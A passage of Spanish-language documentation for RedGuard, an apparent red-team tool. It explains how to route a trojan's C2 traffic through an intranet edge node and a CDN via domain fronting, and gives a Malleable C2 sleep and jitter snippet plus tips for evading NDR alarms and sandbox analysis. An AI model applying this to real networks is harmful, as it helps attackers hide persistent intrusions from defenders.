**El archivo de configuración es el siguiente:**
Para la configuración específica, nos centramos principalmente en las flechas. **La flecha 1 de arriba es el nombre de dominio HOST para la interacción entre el host de la intranet y el nodo periférico**. Se recomienda establecer el nombre de dominio de la intranet relevante según el escenario específico de la unidad objetivo. Imagina la interacción de tráfico entre dos hosts en la intranet sobre el nombre de dominio de la intranet. ¿BT tiene el valor de cortar directamente el tráfico interactivo? Por supuesto, si pueden determinar que es tráfico interactivo malicioso. **La flecha 2 apunta a la configuración del domain frontend convencional**. Este par clave-valor, la clave corresponde al HOST de conexión y el valor corresponde a la dirección del proxy. Aquí podemos establecerlo en cualquier nombre de dominio HTTPS que use el mismo fabricante de CDN **(la IP del nodo CDN también está bien, recuerda agregar el protocolo http(s)://).**
EdgeHost es el nombre de dominio utilizado por el domain frontend de nuestro proveedor de servicios en la nube, que también es el nombre de dominio utilizado por el nodo periférico RG al interactuar con C2 a través del nodo CDN. Sí, RG modificará el nombre de dominio HOST de la solicitud legítima y lo cambiará al nombre de dominio CDN del servicio en la nube que pueda comunicarse normalmente.
EdgeTarget es el nombre de dominio para la interacción de la intranet, que debe ser el mismo que la flecha 1. Solo el tráfico solicitado por el nombre de dominio establecido aquí por HOST se considerará legítimo, y RG se modificará aún más al nombre de dominio CDN del servicio en la nube para la comunicación posterior.
**Aquí resumimos:**
Es decir, la interacción entre el nodo periférico y el host en la intranet se realiza a través del nombre de dominio de intranet establecido. Cuando el troyano inicia una solicitud al nodo periférico de RG, determinará si el HOST del tráfico de solicitud es el nombre de dominio de intranet establecido en el archivo de configuración. Si cumple, se considera legítimo. RG modificará el HOST al nombre de dominio CDN del proveedor de servicios en la nube establecido por EdgeHost para la comunicación posterior y transferirá el tráfico al servidor C2, logrando un ocultamiento completo y una alta ofuscación de todo el enlace. Imagina que el nombre de dominio de la intranet interactúa con el nodo periférico con el nombre de dominio de la intranet, pero el nodo periférico cambia aún más la dirección del proxy interactivo real y el HOST interactivo, logrando una información interactiva asimétrica entre los dos hosts, lo que hace que el rastreo sea más difícil y difícil de investigar.
**Tráfico de interacción entre nodos periféricos y hosts de intranet, como se muestra en la figura anterior**
Otra ventaja de este enfoque es que en el entorno de sandbox en la nube, dado que nuestro IP interactivo está personalizado según la intranet, es imposible que el sandbox realice un análisis de correlación de conectividad en el IP de la intranet durante el análisis.
Una cosa a tener en cuenta al configurar es que el HOST para la solicitud del troyano debe ser:
- **HOST: Nombre de dominio de la intranet (establecido en el archivo de configuración de RG)**
- **IP: IP de intranet del host periférico**
- **Puerto de conexión: 443 (coincide con el puerto de escucha http(s) en el archivo de configuración de RG)**
- **Puerto de escucha: el puerto donde realmente se conecta C2**
La configuración del listener de C2 es la siguiente:
En contraste con la solicitud, el HOST del listener de C2 debe ser el nombre de dominio CDN del proveedor de servicios en la nube, siempre que el tráfico final pueda transferirse al servidor C2.
Tráfico de interacción del nodo de intranet, como se muestra en la figura a continuación, se puede ver que el IP de intranet en el área DMZ accede normalmente al puerto 443. No es sorprendente que el servidor o PC de la intranet se conecte al sistema de negocios en el área DMZ.
El tráfico interactivo del host periférico se muestra en la figura. En escenarios reales, no habrá una gran cantidad de TIME_WAIT. Aquí, configuré el sueño del paquete heartbeat en 0 para pruebas. Es más seguro establecer un jitter y tiempo de sueño del paquete heartbeat más grandes en escenarios reales. Y personalmente creo que el tráfico HTTP no se usa en escenarios reales. ¿No es el tráfico en texto plano una pérdida de tiempo? Así que generalmente este puerto no se abrirá. Cambiaremos el nombre del archivo RG a Tomcat, Apache, Nginx, etc. para que la interacción parezca más confusa.
Con respecto al jitter y tiempo de sueño del paquete heartbeat, puedes configurar simplemente los siguientes campos en el archivo Malleable C2 Profile.```bash
set sleeptime "3000";
set jitter "20";
Si no lo configura, puede aparecer una alarma anormal de paquete de latido. Por supuesto, en la mayoría de los casos, los investigadores pensarán que es una falsa alarma y la ignorarán. Sin embargo, por seguridad, se recomienda configurarlo para que no cause una alarma anormal de paquete de latido. En ese momento, fue probado por el equipo 360 NDR, y el efecto específico es el siguiente:
En cuanto al tráfico HTTPS, ningún dispositivo de monitoreo de tráfico en el mercado puede censurar el tráfico. Los dispositivos de monitoreo actuales esencialmente coinciden con palabras sensibles. Incluso en una competencia de detección de paquetes de datos de cierto fabricante, se requiere usar paquetes en texto plano, lo que hace preguntarse si los RT realmente interactúan con tráfico en texto plano en escenarios de combate reales. Además de la información interactiva asimétrica mencionada anteriormente, la mayor ventaja de este método es que el nodo RG se coloca en el nodo periférico para lograr el control del tráfico frontal, dándole así el mismo efecto funcional que un RG regular.
Los nodos de back-end de los nodos RG se transforman en nodos CDN para reenviar al servidor C2. En escenarios convencionales, los nodos frontales de los dominios se utilizan como nodos de solicitud de primera capa, y los hosts periféricos se ponen en línea después del RG. La interacción entre el sistema de negocio en el área DMZ y la IP CDN de la red pública también se ve muy armoniosa. En este proceso, ni el host de la intranet ni el host periférico interactúan directamente con nuestro C2, lo que también es la elegancia de esta técnica avanzada de ocultación.
Por supuesto, además de las ventajas mencionadas anteriormente sobre la transferencia proxy de netsh e iptables, la configuración simple y la ausencia de registros de configuración también son una de las ventajas.
Gracias por su apoyo. RedGuard continuará mejorando y actualizándose. Espero que RedGuard sea conocido por más profesionales de la seguridad. La herramienta hace referencia a las ideas de diseño de RedWarden.
¡Damos la bienvenida a todos a presentar sus necesidades, RedGuard seguirá creciendo y mejorando en estas necesidades!
Acerca del desarrollador 风起 artículos relacionados:https://www.anquanke.com/member.html?memberId=148652
2022Kcon Autor del espectro de armas de la conferencia de hackers
El 10º Foro Avanzado Ofensivo y Defensivo de la Conferencia de Seguridad en Internet ISC, tema "Control de flujo frontal C2"
Intercambio de tráfico C2 basado en enlaces de nodos de límite
https://www.anquanke.com/post/id/278140
Análisis de la tecnología de identificación de flujo de caja de arena en la nube
https://www.anquanke.com/post/id/277431
Realización de la tecnología de aleatorización de huellas digitales JARM
https://www.anquanke.com/post/id/276546
Contramedidas de inteligencia de amenazas en infraestructura C2
Kunyu: https://github.com/knownsec/Kunyu
El viento se origina al final de la hierba verde, las olas se forman entre pequeñas ondas.
Si tiene alguna pregunta o requisito, puede enviar un issue en el proyecto, o contactar al desarrollador añadiendo WeChat.
| IP | Port | Protocol | Service | Country | City | Title | Time |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | China | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | China | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |